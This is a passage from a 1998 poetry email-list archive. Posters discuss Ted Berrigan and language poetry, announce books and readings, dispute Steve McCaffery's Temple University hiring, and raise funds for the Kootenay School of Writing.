ted did not get that involved with much of the above. i do remeber that he like l=a=ng magazine & that he marked up his copies of poetics journal and was engaging the work of writers like barret watten. it is worth tracking down (or someone reprinting) the whole of the pritikin 80 lang st report (that was published in their annual summaries) that gives the flavor of the residency that seems equal parts of ted poking and trying to statrt arguements and folks like barret trying to engage him.

joel lewis

↑ Index

367. **Mark Weiss**

Re: ted & langpo

Sat 7 Mar 1998

I was one of the ear curators when a young language poet (I forget who) took over some of the saturdays (I think it was saturdays--age creepeth...). What you say about the different audiences is certainly true, and it didn't matter who was reading. I regularly had Jackson read. Only one or two language poets would show up. Likewise for Wieners and others. This was mysterious to me. The well-defined avant-garde that existed in NY before the advent of language poetry didn't seem to interest the langpo crowd except when it was on its own turf. Of course, the explanation may be as simple as the social reality of an ongoing series as a floating party--if you know the host you get to hang out with a predictable crowd of friends.

> *there was a great deal of hostility between ted'd accolytes and langpoets in those days. in those days, wed readings would team up a st, mark's poet and a lnag poet (i remember elinor nauen & diane ward as an example). Depending on who read first, there would be a walkout by many of the followers of teh first reader. this was repeated in smaller venues and earinn had entirely different audeinces based on who was curating the series.*

↑ Index

368. **Henry Gould**
Re: berriganagain/sacred cows?
Sat 7 Mar 1998

On Sat, 7 Mar 1998 10:35:07 EST TBeck131 said:
>
>Wrapping his work with his biography makes it difficult to criticize the work
>without seeming to criticize the author. I think that this is a modest but
>important point. Berrigan took a lot of risks --in his work and in his life.
>He wasn't always successful. Who is?

Seems like every poet establishes a unique relation between work & biography. Look at Villon, for example. One would think a poet who is self-indulgent and exhibitionist & self-centered is taking the risk of making the work dependent on the personality & the immediate local, so that it will soon fade from interest. But the reason Villon remains of interest is he brings the 13th century or whatever to life just by being so narrowly focused on what he's doing & egotistical about it. I know this is an exaggeration & Villon remains interesting basically because he was a great lyric poet & craftsman of the ballads of his time. Mandelstam has a whole essay about Villon's curiously impersonal sense of his own person. I am not gonna compare Berrigan & Villon at the moment; just that these issues are really complicated & every reader of poetry has the same problem quantum physicists do in "taking measurements": their shadow gets in the way of the lens. - Henry Gould

↑ Index

369. **TBeck131**
query
Sat 7 Mar 1998

Can someone back channel with Melissa Wolsak's e-address.
I'd be much obliged.

Tom B.

↑ Index

370. **Brian Lucas**
ronald johnson
Sat 7 Mar 1998

I'd like to invite those interested in submitting work for a section on Ronald Johnson in my magazine ANGLE. The work can either be poetry, short essays, apprecitions, etc. If I recieve enough work I may do a special issue rather than

just a section. There is a deadline of June 1st. I look forward to hearing from anyone out there regarding this.

Thanks! Brian Lucas Angle 253 Rose St San Francisco CA 94102

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371. Travis Andrew Ortiz
Atelos / The Literal World by Jean Day
Sat 7 Mar 1998

The Literal World
by Jean Day

Atelos, a newly founded publishing project, announces the publication of _The Literal World_ by Jean Day.

About the book: In response to a commission from Atelos, Jean Day has written a sequence of poems exploring the public and private worlds of vernacular adventure. Entitled _The Literal World_, the book's sections play off various American genres -- Protestant sermons (and the idea of a lost paradise), Lewis and Clark's journals of exploration, and the Western among them. As contributions to the invention of American identity, these genres constitute formative narratives -- accounts of an America its 'fathers and mothers' sought to create. As a private parallel to the experience of this public view, Day concludes The Literal World with a section entitled "Narratives from the Crib" -- offering an intimate but wry, tender but individualistic (and hence quintessentially American), account by an infant of the person he or she is meant someday to be. Using experimental techniques, and informed by a wide range of historical and philosophical detail, the poetry in this book is about the very expectations it challenges. The result is 'the literal world' that is named in the title -- an adventure in the sublimities of invention.

About the author: Jean Day grew up in Rhode Island and moved to San Francisco in the mid-1970s. She is the author of four previous books of poetry (_Linear C_, _Flat Birds_, _A Young Recruit_, _The I and the You_) and the recipient of grants from the California Arts Council and the Fund for Poetry. Her own works have been translated into Finnish, Swedish, Russian, French, and Spanish, and her translations of works by the contemporary Russian poet, Nadezhda Kondakova, have appeared in anthologies. She lives in Berkeley, California, where she works as Associate Editor for the journal _Representations_.

About the project: Atelos was founded in 1995, as a project of Hip's Road and devoted to publishing, under the sign of poetry, writing which challenges the conventional definitions of poetry, since such definitions have tended to isolate it from intellectual life, arrest its development, and curtail its impact. All

the works published as part of the Atelos project are commissioned specifically for it, and each is involved in some way with crossing traditional genre boundaries, including, for example, those that would separate theory from practice, poetry from prose, essay from drama, the visual image from the verbal, the literary from the non-literary, and so forth. The Atelos project when complete will consist of 50 volumes. The project directors and editors are Lyn Hejinian and Travis Ortiz; the director for production and design is Ree Hall.

Ordering information: _The Literal World_ may be ordered from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710-1403; phone [redacted] or toll-free [redacted]; e-mail: [redacted]. Or, it may be ordered directly from Atelos, P. O. Box 5814, Berkeley, CA 94705-0814; e-mail: [redacted].

Title: _The Literal World_
Author: Jean Day
Price: $12.95
Pages: 102
ISBN: 1-891190-01-6

Coming Soon:

Bad History, by Barrett Watten
True, by Rae Armantrout
Cable Factory 20, by Lytle Shaw
Pamela: A Novel, by Pamela Lu

↑ Index

372. Keston Sutherland
love in the air again
Sat 7 Mar 1998

Famished on claim in repeat-lock bloat code in-
duct error, really stuffed up, genuinely
courting the brim, chock-full. Hope's blossoming everywhere,
sprayed like a pledge in the Schoolyard, zoom at
n-rate via bent detail-boost iuxta Dentures On Dashboard glide
through browse out. Blank. The flitter
of earth in her subsides, routed per disin-
fected depiction, back to arrest and staleness. Blink. She's bribed to mix
with fucked air flaccid exit-drive 1!, planet-averting.

Frayed shame trails back at her wing, blacked out its former peach, altmodisch. It is not lust for arrayed rot or its fanzine idyll never (wait) what figures her smacked-up repetition as (2) cramp pasted (3) dead on her knees say please and revert. Today Only. Raindrops pall and patter on addicted gravel,

simplified, they're a load of libation vouchers. Shacked up re: ex gun-ho wish n Degeneracy-End floss (wait) re: that over and over and over, in a prank of (WAIT) picted alliance with over allayed redress, we wept and made love then in the cove-mouth.

↑ Index

373. **Martin Spinelli**
npr petitions
Sat 7 Mar 1998

I'm fairly sure the pubcasting petitions being circulated on this list are about 4 years old (and thus no longer applicable). NPR has acutally had its appropriations for 1999-2000 *increased*... throne a bone as it were for that new-and-smooth *fresh* sound, hieghtened awareness of the major issues facing corporate America (half of peak-time newscasts set aside for "the business report"), and its general improved understanding of which side of its bread is buttered. Newt's threat brought NPR to heel even if it didn't kill it. (Not that it was stirringly better beforehand.)

Lovingly,
Martin

_____
Martin Spinelli SUNY Buffalo English Department
Granolithic Productions

[redacted]
LINEbreak http://writing.upenn.edu/epc/linebreak
ENGAGED http://www.engaged.demon.co.uk

↑ Index

374. **Bob Grumman**
Re: ronald johnson
Sat 7 Mar 1998

Brian:

Would you be interested in previously published material? One of my mathematical poems was a tribute to Ronald. It's been published in several zines and is now up at Karl Young's Light & Dust site at:

http://www.thing.net/~grist/l&d/lighthom.htm

I'd be really pleased if you could use it in your magazine--but would understand if not.

All best, Bob G.

↑ Index

375. **Joe Ahearn**
Re: Looking for input on talk
Sat 7 Mar 1998

Hey Tim,

I have been having computer problems and am just now getting to this. I'll be galad to help out if there is anything specific that I can help with.

Best,
joe

At 07:11 PM 3/3/98 -0600, you wrote:
>I've been asked to give a talk this summer to help poets try to understand
>what publishers are looking for, etc. I'm planning to push it a little bit
>and, where appropriate, talk from the opposite view point: how publishers
>(primarily those of periodicals such as journals) can do a better job of
>communicating to potential submitters. I would love any suggestions any of
>you might have on points, nits & grand schemes to make sure I hit.
>
>thanks,
>Tim
>
>
>_____
>Tim Wood [redacted]
>
>poetry is the shock of insight's drive-by
>
>

Joe Ahearn

_____
[redacted]

↑ Index

376. **Tim Wood**
Re: Looking for input on talk
Sun 8 Mar 1998

I just may avail myself of that offer.

thanks,
Tim

At 10:36 PM 3/7/98 -0600, you wrote:
>Hey Tim,
>
>I have been having computer problems and am just now getting to this. I'll
>be galad to help out if there is anything specific that I can help with.
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>Best,
>joe
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>At 07:11 PM 3/3/98 -0600, you wrote:
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>>thanks,
>>Tim
>>
>>
>>_____
>>Tim Wood [redacted]
>>
>>poetry is the shock of insight's drive-by
>>
>>
>
>
>
>Joe Ahearn
>_____
>[redacted]
>
>
>
>

_____ Tim Wood
[redacted]

↑ Index

377. **Logan M Esdale**
copytext
Sun 8 Mar 1998

could someone inform on the location of the 1892 PARADISE LOST Ronald Johnson used for and in RADI OS ? i have heard that much of Johnson's work has already been archived somewhere in kansas, and therefore it may be there, but don't know that for sure or where exactly that archive is. and could someone back channel Peter O'Leary's address. thanks -- LE

↑ Index

378. **George Bowering**
Re: Berrigan/i'm smiling
Sun 8 Mar 1998

> *Go ahead and set yourself up as Berrigan's Defender. I never labelled anybody. I said Berrigan combined art and life, formality & informality, by letting the GRUNGE of street life seep into his work, the gritty, GRUNGY street-life of Providence, Worcester, New York, Tulsa, wherever it may be found (it's even in Minneapolis). I don't think Berrigan would disagree, myself. I find GRUNGY to be a fine evocative word for the GRUNGE I am talking about.*
>
> *butit's easy to loose people who may not know better*

That's okay. Why tie them up if they want to be free?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

379. **Steven Marks**
Murdochworld has my flesh on
Sun 8 Mar 1998

Take, for instance, Murdoch kabashing a book critical of China because he is trying to expand his empire there.

Steven M.

On Fri, 6 Mar 1998, Steve Shoemaker wrote:

The speculations on Berrigan's class background that have come up seem to me pretty fruitful ones. But this connection between his "lower class" status and "thievery" has come up a couple of times now--and without wanting to sound righteous or anything, it has always seemed to be that the wealthy do the best stealing. You may not notice the book missing from your shelf--it probably just didn't get written in the first place. steve

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Sorry, I should have back-channeled you the Sonnets ordering info. I'll keep my eyes peeled for another. "Some dim frieze," which opens the book, refers to something Berrigan saw on the Columbia University campus, so in return, Columbia will pick up the tab if you'd like a photocopy of that edition in the meantime. (Or, if any of the "crows" want one.) Just lemme know. I also have the poems from Arshille, if you want a photocopy of that.

Of course, it doesn't finally matter what lines are from where, so long as the poem works. But, it's also interesting, interesting to me anyway, to think of his thievery in the contexts of: (a) his class & the extent to which his aesthetic impulses might be thought of as class-based; and (b) what his prolific re-use of others's lines (including his own) means in terms of how he experienced language: "The world has my flesh on," as Vincent Ferrini once wrote. I think this ties in very nicely with another sub-thread on this list: His openness to a relatively wide spectrum of poetries. That's a specific form of being, a particular way of moving through the world, & through the world of letters.

I'm going to see the woman who runs Pomander Books tonight & so I'll see if I can get the name of the crow who swept off with your _Sonnets_--then you or I can build an altar or whatever & Berrigan's ghost (which truly will never die) will go beat him or her up.

Have fun,

Gary Sullivan
[redacted]

Steven Marks

http://members.aol.com/swmarks/welcome.html

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380. **jarnot**
warsh/equi reading
Sun 8 Mar 1998

On Monday March 9th at 7:30 pm,

Lewis Warsh and Elaine Equi
will be reading at KGB
(85 East 4th Street, NYC, between 2nd and 3rd Avenues)

Admission is free.

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381. **dbuuck**
address inquiry
Sun 8 Mar 1998

---

i'm looking for up-to-date address or email info for the following:

jen hofer
jeff derkson
maria galvez-breton

back-channel is fine. many thanks--

david buuck

↑ Index

382. **Hank Lazer**
Re: Doublespace
Sun 8 Mar 1998

A week or so ago there were a couple of posts regarding my book _Doublespace_. Patrick Pritchett and Jacques Debrot had raised some questions about the form of the book. I had hoped to reply sooner, but was unable to. _Doublespace: Poems 1971-1989_ (Segue, 1992, 192 pages) is an odd book. It opens in two directions, is _not_ a collected or selected, but is instead a deliberately made book in a conflicted or multiple manner, including under one cover seemingly incompatible modes of writing, from more "mainstream" narratives & lyrics to a range of more fragmented and collaged material. Book Two, which consists of three sections including the eight poem cycle of Law-Poems (which incorporates material from the Alabama Legal Code), opens (like a Hebrew book) from the back and moves inward to blank middle. I've written at some length about _Doublespace_ (in the Gale Research autobiography series,

Volume 27), so I don't want to repeat all that's there, but will excerpt a few passages. Various blurbers-- back cover includes statements by Susan Howe and David Ignatow--have different takes on the book. I'll cite two responses that didn't get on the book jacket. George Starbuck wrote, "I was handed this as a finest, newest specimen of 'Language' Poetry, which it is, which it is. And I had been wondering if 'Language' 'Poetry' would be getting over its Molierian amazement at itself. And so I trudged, clambored, sauntered, stooped, for a long ways, tracking H Lazer's ingenuities and discoveries, a long way into it all before I woke up to where (and how) I had been taken. What a lovely, capacious, populous poem- of-America surrounded me. Hailed me, corralled me, jargoned at me. Jazzy and matter-of-factly apocalyptic." David Antin writes that _Doublespace_ "appears to present two ways of thinking and working that contend for the same (doubled space): a modernist way the way of collage that fragments and assembles langauge registers and styles in a junkyard of mediated texts, and an older narrative way taht tracks its meaning through life experience under the fitful lights of memory and desire; moving from right to left like Hebrew or left to right like English, the two ways refuse to blend, each exhibiting its own excellences and insufficiencies." None of which answers Patrick and Jacques's questions about the blank section in the middle, which for me represents a period of three years of writing which I've thrown away, writing which allowed me to move away from modes of Book One and begin the work of Book Two. (Though now I do not feel such a separation.) The structure of the overall book poses various questions: are the modes of reading for Book One at all compatible with Book Two? once sincerity has been understood as a trick of rhetoric, what contexts remain available for personal expressiveness? _Doublespace_ was the first book of poetry that I had published. I was 42 when it appeared. The book will soon go out of print. List price is $12. If you'd like a copy, I'll sell what I have for $9 each (which includes postage). If you want to order a copy, please back-channel me at [redacted] Make checks payable to Hank Lazer / 2945 N. Hampton Dr. / Tuscaloosa, AL 35406-2701. Thanks.

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383. Jordan Davis
*Berrigan / self / writing / Bernstein
Sun 8 Mar 1998

As long as everybody remembers to associate Pepsi and Gem Spa with Berrigan, everything should keep moving nicely. The brand name in poetry, there's a study for an enterprising MBA/PhD.

Correct me if I'm wrong, but I've always read Charles Bernstein's remark that "It's a mistake to posit the self as the center of one's writing" (I think I must have butchered that) as a remix of Ted Berrigan's apparently self-centered

project. Looking today at Reading at Berkeley (picked up at St Marks for $15 -- a year into my and Larry Fagin's bookstore boostering and they're still keeping the poetry shelf stocked -- if you're in town, stop by and smile, maybe even find the nerve to mention how good the section is to the staff) and I can't help but think Berrigan was as much influenced by Olson's public persona as by Whalen's poetics. Human Universe made it onto at least one of Ted's Top Ten Books of the Year poems. Bigman? At any rate, someone to contend with -- poetry as friendly competition?

Re: Tom Beckett's freaky connection of Berrigan with Bukowski; sure, and Patchen and Ferlinghetti and cummings and Corso and Brautigan.. but Berrigan is a lighter touch, becomes available to people later in their lives, no way could I have read Berrigan and got it at 14 (in 1984) the way I got Ferlinghetti (and Patchen?), or for that matter a year or so later, Paul Violi.. or Edwin Denby and Fiona Templeton a year or so after that.. and Tom Raworth. If you have to compare artists in terms of their "projects", in terms of what, for each, was the deal, then there's a little Matisse in Ted, that art should be comforting? and also Olson (the Tony Door side of Olson, not the Susan Howe side), that the poet is always "on".

am I really saying Berrigan shouldn't be thought of as a "gateway drug"?

Kim Lyons' poem "Eon" in the Jarnot/Schwartz/Stroffolino anthology is where I point you today.

Love,
Jordan

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384. **ScoutEW**
Re: *Berrigan / self / writing / Bernstein
Sun 8 Mar 1998

---

yes, very much Olson and Berrigan, I see them very differently but they were both very much into the technique of writing, possibly Berrigan didn't express this as much as Olson but I see it there. I would love to get more on what Olson and Berrigan talked about all night on that park bench in Buffalo, I KNOW that there are some people on this list who know all about it! so tell... Jordan, in almost every picture of Berrigan I have seen there is a Pepsi can lingering somewhere near bye, well what can I say, Coke doesn't taste as great, they probably should have left the cocaine in ...!! P.S. anyone know any real good places to go in New Mexico, I will be visiting there soon and have never been to the Southwest or anywhere really away from New York State so let me know where to go what to see, I will be there the week of March 13-20, back channel me then thanks all, erik

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385. **rsillima**
Steve McCaffery shafted
Sun 8 Mar 1998

Listmates,

Steve McCaffery has been shafted -- seriously so -- for the second time in one year by Temple University.

Last fall, the English Department at Temple conducted a major search for a poet, bringing in applications from many major writers, including several on this list, before selecting Steve for a tenure track position. Then the Department learned that funding for the position would not be made available and Steve was dehired. As appalling as that scenario was, this wasn't the first time that Temple has done this. Andrew Levy, I believe, was on the receiving end of a virtually identical set of circumstances a couple of years ago. And, as friends of Douglas Messerli and David Bradley know, Temple also has a track record of being less than good to the writers it does have, once it employs them.

To be hired and then "dehired" by a school is a totally disruptive act for the person who is treated like so much chattel. In addition to the sheer psychic abuse, it also takes the writer off the market during precisely the period when other, alternative academic jobs might become available.

Apparently, the department realized that poets of McCaffery's stature aren't just sitting around on trees and an effort was made to secure the budget line and undo the damage created by the original dehiring. Steve was finally hired and set to arrive in Philadelphia in June. MIT Press is even advertising him as Associate Professor of English at Temple in his ads for Imagining Language (an anthology he co-edited with Jed Rasula that is due out later this Spring). At l

east, this was the
scenario until, as I understand it, the president learned of an appointment and again stopped it cold.

The rationale behind stopping the appointment is that the school's enrollment ha
s dropped some nine
percent. But, given Temple's treatment of faculty, and especially of poets, this is sort of a "duh" kind
of an excuse. The amazing thing is that Temple's enrollment hasn't dropped much
further, given the
active role the administration seems to be taking in driving good teachers and s
tudents away.

I haven't spoken with Steve or Karen -- only with students and faculty literally spitting with anger and
frustration over this -- but my understanding is that when they left for a tempo
rary gig in the UK, they
gave up their apartment in Toronto and may even have turned down real work under
the illusion that
Temple meant what it said in hiring Steve.

What can be done? There are different opinions. Some think that the university administration has so screwed up that it can be shamed into reversing itself this time. That's the opt imistic view.

Presuming, for the moment, optimism, people should write letters to the fol-
lowin g administrators:

Peter Liacouras
President
2nd Floor, Sullivan Hall
Temple University
Philadelphia, PA 19122

Susan Albertine
Vice President for Undergraduate Studies
4th Floor, Conwell Hall
Temple University
Philadelphia, PA 19122

Corinne Caldwell
Acting Provost
4th Floor, Conwell Hall

Temple University
Philadelphia, PA 19122

People should stress the following:

Temple University will not reverse enrollment declines by deepening a reputa-tion
as a place that good
students and teachers should avoid. Teaching positions are not where economies s
hould be taken if
increasing enrollment is a serious concern. (In my line of work, the company tha
t spends 15 percent
of revenues on SG&A -- sales and administration -- goes out of business; I'd lov
e to see how much
Temple spends.)

Steve McCaffery is not a yo-yo. He's a major poet with an international reputati
on earned over
decades of innovative work. At the height of his career. Go into detail about wh
at this means. Folks
on the wr-eye-tings list ought to think about having Steve on tenure track at a
major school would
mean for contemporary vizpo, not to mention performance poetry etc etc.

Steve McCaffery would prove especially inspiring to undergraduate students (an a rea of particular sensitivity here). Anybody who took a course with him at Buffalo or elsewhere wo uld have great credence. Frankly, I think that anyone who's ever seen read in person knows that this would be true.

I'd also appreciate it if anyone who sends a letter would send me a copy.

Thanks,

Ron Silliman
262 Orchard Road
Paoli, PA 19301

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386. Rachel Loden
Berrigan/Bukowski/biography
Sun 8 Mar 1998

> *Bukowski: I woke up, threw up, drank*
> *a beer, went to the track, got laid, threw up, drank a beer...etc. Berrigan:*

> *I woke up, drank a Pepsi, popped some pills, did this, did that, drank a Pepsi, popped some pills, etc.*

Yes, clearly a similar sort of reportage goes on. But inside the poems (I think Tom would agree) these reports function in a very different way. Bukowski's posture is heroic and the details are there to document his (vomit-spattered) glory. In Berrigan the details are folded in as a sort of counterpoint. They are dull, they are giddily romantic, they don't want only one thing for the poem.

Some first thoughts anyway--

Rachel Loden

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387. Matthew Kirschenbaum
Workplace
Sun 8 Mar 1998

PLEASE FORWARD WIDELY TO ACADEMIC LISTS
*N*O*W *A*V*A*I*L*A*B*L*E (free free free)
www.workplace-gsc.com

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an allied organization of
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Workplace 1.1 (Feb. 1998)

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Foreword by Marc Bousquet: "The degree holder is the waste product of a job system that produces Ph.D holders but does not use them. In language and literature more than any other field the teaching machine runs on non-degreed labor. . . ."

F^E^A^T^U^R^E^S "What Hath English Wrought" by Cary Nelson: "The astonished gaze that MLA casts on recent history suggests the windswept visage

of a profession no longer in control of its fate. Eyes bulging, the figure is nearly swept away by forces it cannot comprehend. In stark terror at their oncoming fury, it dares not turn to glance at their destination. . . ."

"This Old House: Renovating CUNY's House of Labor" by Barbara Bowen
"The Future of an Illusion" by Christian Gregory
"Unionizing Against Cutbacks" by Paul Lauter
"What is an Organization like the MLA?" by Steve Watt
"Resistance is Fruitful:
Coalition-building in Ontario" by Victoria Smallman

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I^N^T^E^R^V^I^E^W
"Jobless Higher Ed:
An interview with Stanley Aronowitz" by Andrew Long

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F^O^R^U^M
!~! Organizing Our Asses Off !~!
"Cannibals, Star Trek, and Egg-timers"
by Anthony M. Navarrette and Kate Burns, UCSD
"Unions, Universities, and the State of Texas"
by Kirsten Christensen and Ray Watkins, UT-Austin
"5,000 Down, 200,000 to Go: Organizing City University of New York"
by Eric Marshall, CUNY
"Critical Year"
by Ed Fox and Curtis Anderson, Indiana U.
"What's Next? Organizing After the COGS Union Affiliation Vote"
by Julie Schmid, U. Iowa
"Institutional Memory and Changing Membership"
A Response by Alan Kalish, Indiana U.
"Beyond the Campus Gates: The Personal is Still Political"
A Response by Vinny Tirelli, City U. New York
"Organizing Democracy:"
A Response by Karen Thompson, Rutgers U.

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C^O^N^V^E^N^T^I^O^N R^E^P^O^R^T^S
MLA Annual Convention, Toronto, Canada, December 1997
by Mark Kelley, CUNY Graduate School
6th National GTA Conference, Minneapolis, November 1997
by Alan Kalish, Indiana University

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P^E^R^S^O^N^A^L C^R^I^T^I^C^I^S^M
"Looking Forward In Anger" by Barbara White

"The Good Professors of Szechuan" by Gregory Myerson: "Until last spring, I was assistant professor of critical theory at UNCG. I didn't get tenure. Now I'm unemployed and competing with my students for one-year jobs around town. . . ."

"Performing Shakespeare: Writing and Literacy on the Job" by Leo Parascondola: "I arranged to take the test for bus operator, and I began a 21-year odyssey in a public conveyance around the boroughs of Manhattan and the Bronx. . . ."

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Oct '98 1:2 The Melodrama of Difference: The University in Tiers
Issue Editor: Tony O'Brien, Queens College, CUNY.
Feb '99 2:1 The Political is the Personal: Life Narratives of Academic Labor. Issue Editor: Cheryl Torsney, West Virginia University
Oct '99 2:2 Academic Labor, Social Policy, and the Law. Issue Editor, Randy Martin, Pratt Institute
Feb '00 3:1 Political Economy and Higher Ed. Pedagogies. Issue Editor: Wendy Hesford, Indiana University.
Oct '00 3:2 New Hegemony Studies: Illiberalism and Academic Labor
Issue Editor: Marc Bousquet

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--and watch for a WORKPLACE SPECIAL COMING SOON:

E*L*A*I*N*E W*A*T*C*H
Showalter's War on Graduate Students

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388. **Aviva99999**
Re: Doublespace
Sun 8 Mar 1998

In a message dated 98-03-08 16:13:27 EST, you write:

<< [redacted]
Make checks payable to Hank Lazer / 2945 N. Hampton Dr. / Tuscaloosa, AL 35406-2701 >>

Hank, I'd like to buy a copy. My address is:

Aviva W. Vogel
P.O. Box 1085
Norwich, VT 05055
[redacted]

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389. **Charles Watts**
Kootenay School of Writing's Operating Grant cut. Please help.
Sun 8 Mar 1998

Poets:

The City of Vancouver has turned down the Kootenay School of Writing's 1998 application for an operating grant. This is the first time in more than eight years that the city has decided not to award KSW a grant. In fact, last year the city increased KSW's grant. This makes for a crisis which threatens the continued existence of the Kootenay School, as this one grant has provided roughly half of KSW's annual income.

The Kootenay School of Writing was founded fifteen years ago by a group of writers who had moved to Vancouver when funding for the school where they taught and learned, the David Thompson University Centre in Selkirk, B.C., in the Kootenay Mountains, was eliminated from the budget of the (Social Credit) government of British Columbia. The School has been a completely volunteer-run, collectively administered organization throughout its fifteen year history. During that time KSW has sponsored writing workshops and seminars and maintained a venue for new and interesting writing, where writers from Vancouver and surrounding communities, from other parts of British Columbia and across Canada, from the United States, the United Kingdom, and other countries have read their work. The Kootenay School maintains a full schedule: during the past few weeks, Jeff Derksen and Susan Holbrook have read; the latest issue of _Open Letter,_ edited by Jeff Derksen, was launched; a memorial reading for Kathy Acker to benefit the Breast Cancer Foundation was held with readers including Dorothy Trujillo Lusk, Sharon Thesen, Kate Van Dusen and

Deanna Ferguson; and (last night) Rob Manery, Bill Luoma and Juliana Spahr read from recent work.

Many of you on this list have read or given workshops at the Kootenay School of Writing; others have been pleased to be members of the audience or have taken KSW workshops. The Kootenay School has survived and flourished on very little money. The operating grant application to the City of Vancouver is a very small one, about $4000.00. This money is used to support a reading space and an office which is staffed year-round by volunteers. The space is shared with the Or Gallery at 112 West Hastings in Vancouver (not a high-rent area).

The City gave as a reason for turning down this grant application that the Kootenay School's "audience base" is not broad enough. KSW members are asking the city to clarify this judgement, particularly since recent and past programming has emphasized building and increasing cultural diversity in reading programs. Audiences are consistently as large as those of most other reading series in Vancouver, if not larger. And I can't think of any series (other than those sponsored by the Public Library) which are as long-lived as KSW's.

The Kootenay School is now asking for support from as many people as are willing to write a letter. If you have read at KSW, or given a talk or a workshop, or if you have taken a workshop or been an audience member and you feel moved to help KSW, please write a letter urging the City of Vancouver to restore grant funding. You can send an e-mail to Rob Manery, who is coordinating the effort to persuade the City to reverse its decision. His e-address is [redacted]. Or you can write directly to the City of Vancouver, Mayor Philip Owen, Vancouver City Hall, 453 West 12th Avenue, Vancouver, B.C. V5Y 1V4. Or you can write, care of the same address, to any of Vancouver's ten city councillors: Don Bellamy, Nancy A. Chiavario, Jennifer Clarke, Alan Herbert, Lynne Kennedy, Daniel Lee, Don Lee, Gordon Price, George Puil, or Sam Sullivan. E-mail can be addressed to: [redacted]. PLEASE DO NOT WRITE TO THIS LIST, OR TO MY ADDRESS, BUT BACKCHANNEL OR BY REGULAR MAIL TO THE ADDRESSES GIVEN ABOVE. For more information, write to Rob Manery.

Thanks for whatever support you can give to the Kootenay School.

P.S. I'll be at work on various projects for the next few weeks, so I'll be off the poetics list for that time. People who want to be in touch backchannel can reach me via my e-address.

Best to you all,

Charles Watts

E-mail: [redacted]

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390. Miekal And
Re: kootenay funding
Mon 9 Mar 1998

$10 is a week of food for me, but Xexoxial would gladly donate some copies of Hannah Weiner's WEEKS (which sell for $9 american) that maybe could be resold, or perhaps auctioned in a fundraiser.

maybe the funding climate is different canada ways, but depending on government funding for half of the orgs support seems mighty unsustainable, XE even tho it is a 501(c)3 has maybe gotten a thousand or 2 toward publishing & events in its 12 years of existence & maybe another 5 toward renovation of buildings, even tho it owns 4 houses & a 28,000 sq ft old school. then again we live in wisconsin where funding for the arts is 48th with only arkansas & alaska behind us. I also agree with Tom B's sentiments (I seem to find myself nodding with a lot of what Tom has been saying) that

"I've never benefited from the school directly but believe that we all benefit in the end when we support such projects. When we support one another."

& further that when an organization can be supported directly, that its continued presence makes a decided mark on the culture outside of its institutions. & how many incredible projects have we seen go down the tubes when the nea took a dive.

_____
Dreamtime Village
http://www.net22.com/dreamtime/index.shtml

QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza/index.html

email for DT & And/Was: [redacted]

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391. TBeck131
kootenay funding
Mon 9 Mar 1998

When I published The Difficulties I never received any of the grants I applied for. I went into debt. Depend on grants at your peril.

 If even half of the people on this list contributed 10-20 dollars to Kootenay, we could eliminate its 4000 dollar deficit.

I've never benefited from the school directly but believe that we all benefit in the end when we support such projects. When we support one another.

I'm hoping that someone will post how to make contributions. I can manage 10 bucks and hope that others will help out too.

Tom Beckett

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392. **Pierre Joris**
Re: Steve McCaffery shafted
Mon 9 Mar 1998

Steve McCaffery has asked me to post the following clarification to the list in relation to Ron Silliman's post -- Pierre

To All Concerned:

A short corrective to Ron Silliman's recent post on my "shafting by Temple." Ron acted a little prematurely and, not having contacted me, communicated a somewhat erroneous state of events. Actually, I had already decided in favour of York University and Toronto over Temple and Philadelphia. Without going into detail, in the past few weeks Temple's bureaucracy had given both Karen and myself cause for increasing frustration and misgiving. Last fall I had also applied for an advertised position at York University in Toronto. When York's offer arrived it was competitive and appealing, so on Feb. 26th the decision was made. This, of course, is no excuse for Temple's action and no condemnation of Ron's zealous call to action. However, I hope it clarifies that I accepted York over Temple before final news of the freezing of the position came into effect Happily at this point Canada is immune to the style of gun-boat diplomacy that the so-called paragon nation of democracy conducts so frequently and effectively. Recall, perhaps, the shafting of Susan Stewart by Havard. So be it publicly known. Ron's other comments on giving up our place in Toronto are similarly unfounded; all is well with us in Toronto and I look forward to offering exciting courses in contemporary literature and poetics at a fine institution. Steve McCaffery

--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
“All my life I’ve heard

one makes many”
— Charles Olson
==========

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393. **Shemurph**
Re: kootenay funding
Mon 9 Mar 1998

I support Tom B's suggestion that contributions be made to Kootenay. I will be pleased to contribute, as well. Although I have not personally participated in activities there, it is my perception that they are contributing in a terrific way to things that many of us hold as high values.

Give us an address, and we'll get this (contribution) thing moving ahead.

Sheila Murphy

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394. **Hank Lazer**
Re: kootenay funding
Mon 9 Mar 1998

I too would like to support Kootenay. An address? I've not been, but have heard raves about Kootenay activities.

Hank Lazer

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395. **Poetics List Administration**
20th. C. American Women Poets; Call for articles (fwd)
Mon 9 Mar 1998

This was received at the poetics home office. FYI.

---------- Forwarded message ----------
Date: Thu, 05 Mar 1998 06:17:05 +0000
From: John Amador Bedford <[redacted]>
To: [redacted]
Subject: 20th. C. American Women Poets; Call for articles

As guest editor for the "Revista Canaria de Estudios Ingleses" I am preparing a special issue on "XXTH. CENTURY AMERICAN WOMEN POETS" to be published in November 1998 and am seeking articles on any aspect, theme, author, or work which might be relevant to this theme, particularly readings which take into consideration gender, race and class issues and experimentation. The

deadline for reception of manuscripts is June, 1, 1998, articles being a maximum 25 pages long with 30 lines per page. Additional information for contributors is available by sending me a request by email to [redacted] The "Revista Canaria de Estudios Ingleses" is published twice yearly, in April and November, by the University of La Laguna. Five hundred copies are published of each issue and, up to the present, thirty-five issues have been published. It is scanned, indexed, or abstracted by the Annual Bibliography of English Language and Literature, BD-ISOC, Institute for Scientific Information, MLA International Bibliography and Ulrich's International Periodicals Directory, among others. We have an exchange program with 223 other journals and institutions. Every contributor receives one copy of the issue and 15-20 offprints. Direct all questions to:

Prof. John Amador-Bedford
Dept. of Modern Philology
University of La Laguna
Tenerife
Spain
e-mail: [redacted]

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396. Beth Joselow
generosity & readings
Mon 9 Mar 1998

